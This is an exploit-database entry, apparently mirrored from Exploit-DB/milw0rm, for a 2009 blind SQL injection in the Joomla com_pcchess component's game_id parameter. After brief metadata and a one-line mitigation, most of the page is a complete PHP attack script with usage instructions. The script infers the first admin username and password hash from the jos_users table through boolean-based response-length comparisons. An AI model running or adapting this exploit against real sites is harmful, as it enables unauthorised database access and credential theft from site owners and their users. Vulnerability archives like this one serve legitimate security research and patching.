Joomla com_pcchess (game_id) Blind SQL Injection Exploit

vendor:

com_pcchess

by:

Cyb3R-1st

7.5

CVSS

HIGH

SQL Injection

CWE

Product Name: com_pcchess

Affected Version From: N/A

Affected Version To: N/A

Patch Exists: No

Related CWE: N/A

CPE: N/A

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2009

Joomla com_pcchess (game_id) Blind SQL Injection Exploit

This exploit is used to inject malicious SQL code into a vulnerable Joomla website. It takes advantage of the com_pcchess component, which is vulnerable to Blind SQL Injection. The exploit uses a loop to iterate through the characters of the username and password of the vulnerable website, and then prints them out.

Mitigation:

Ensure that all user input is properly sanitized and validated before being used in a SQL query.

Source

Exploit-DB raw data:

<?php
ini_set("max_execution_time",0);
print_r('
##############################################################################
#
#                Joomla com_pcchess (game_id) Blind SQL Injection Exploit
#
#                             ===  Cyb3R-1st  ===
#                           cyb3r-1st@hormail.com
#                            == inject0r5 t3am ==
#
#     usegae : php file.php "http://site/index.php?option=com_pcchess&Itemid=84&page=showgame&game_id=1"
#
##############################################################################
');
if ($argc > 1) {
$url = $argv[1];
$r = strlen(file_get_contents($url."+and+1=1--"));
echo "\nExploiting:\n";
$w = strlen(file_get_contents($url."+and+1=0--"));
$t = abs((100-($w/$r*100)));
echo "Username: ";
for ($i=1; $i <= 30; $i++) {
$laenge = strlen(file_get_contents($url."+and+ascii(substring((select+username+from+jos_users+limit+0,1),".$i.",1))!=0--"));
   if (abs((100-($laenge/$r*100))) > $t-1) {
      $count = $i;
      $i = 30;
   }
}
for ($j = 1; $j < $count; $j++) {
   for ($i = 46; $i <= 122; $i=$i+2) {
      if ($i == 60) {
         $i = 98;
      }
      $laenge = strlen(file_get_contents($url."+and+ascii(substring((select+username+from+jos_users+limit+0,1),".$j.",1))%3E".$i."--"));
      if (abs((100-($laenge/$r*100))) > $t-1) {
         $laenge = strlen(file_get_contents($url."+and+ascii(substring((select+username+from+jos_users+limit+0,1),".$j.",1))%3E".($i-1)."--"));
         if (abs((100-($laenge/$r*100))) > $t-1) {
            echo chr($i-1);
         } else {
            echo chr($i);
         }
         $i = 122;
      }
   }
}
echo "\nPassword: ";
for ($j = 1; $j <= 49; $j++) {
   for ($i = 46; $i <= 102; $i=$i+2) {
      if ($i == 60) {
         $i = 98;
      }
      $laenge = strlen(file_get_contents($url."+and+ascii(substring((select+password+from+jos_users+limit+0,1),".$j.",1))%3E".$i."--"));
      if (abs((100-($laenge/$r*100))) > $t-1) {
         $laenge = strlen(file_get_contents($url."+and+ascii(substring((select+password+from+jos_users+limit+0,1),".$j.",1))%3E".($i-1)."--"));
         if (abs((100-($laenge/$r*100))) > $t-1) {
            echo chr($i-1);
         } else {
            echo chr($i);
         }
         $i = 102;
      }
   }
}
} 
?>

# milw0rm.com [2009-01-21]